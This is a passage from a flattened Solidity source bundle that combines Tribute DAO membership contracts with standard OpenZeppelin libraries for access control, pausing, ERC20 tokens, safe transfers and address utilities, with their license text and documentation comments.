NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ abstract contract MemberGuard is DaoConstants { /** * @dev Only members of the DAO are allowed to execute the function call. */ modifier onlyMember(DaoRegistry dao) { _onlyMember(dao, msg.sender); _; } modifier onlyMember2(DaoRegistry dao, address _addr) { _onlyMember(dao, _addr); _; } function _onlyMember(DaoRegistry dao, address _addr) internal view { require(isActiveMember(dao, _addr), "onlyMember"); } function isActiveMember(DaoRegistry dao, address _addr) public view returns (bool) { address bankAddress = dao.extensions(BANK); if (bankAddress != address(0x0)) { address memberAddr = dao.getAddressIfDelegated(_addr); return BankExtension(bankAddress).balanceOf(memberAddr, UNITS) > 0; } return dao.isMember(_addr); } } // File: /Users/davidroon/projects/tribute-contracts/contracts/utils/PotentialNewMember.sol pragma solidity ^0.8.0; import "../extensions/bank/Bank.sol"; // SPDX-License-Identifier: MIT /** MIT License Copyright (c) 2020 Openlaw Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ abstract contract PotentialNewMember { address internal constant _MEMBER_COUNT = address(0xDECAFBAD); function potentialNewMember( address memberAddress, DaoRegistry dao, BankExtension bank ) public { dao.potentialNewMember(memberAddress); require(memberAddress != address(0x0), "invalid member address"); if (address(bank) != address(0x0)) { if (bank.balanceOf(memberAddress, _MEMBER_COUNT) == 0) { bank.addToBalance(memberAddress, _MEMBER_COUNT, 1); } } } } // File: @openzeppelin/contracts/access/AccessControl.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping (address => bool) members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override { require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override { require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File: @openzeppelin/contracts/access/AccessControlEnumerable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./AccessControl.sol"; import "../utils/structs/EnumerableSet.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerable { function getRoleMember(bytes32 role, uint256 index) external view returns (address); function getRoleMemberCount(bytes32 role) external view returns (uint256); } /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl { using EnumerableSet for EnumerableSet.AddressSet; mapping (bytes32 => EnumerableSet.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } } // File: @openzeppelin/contracts/security/Pausable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC20.sol"; import "../../../security/Pausable.sol"; /** * @dev ERC20 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC20Pausable is ERC20, Pausable { /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } } // File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/structs/EnumerableSet.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No 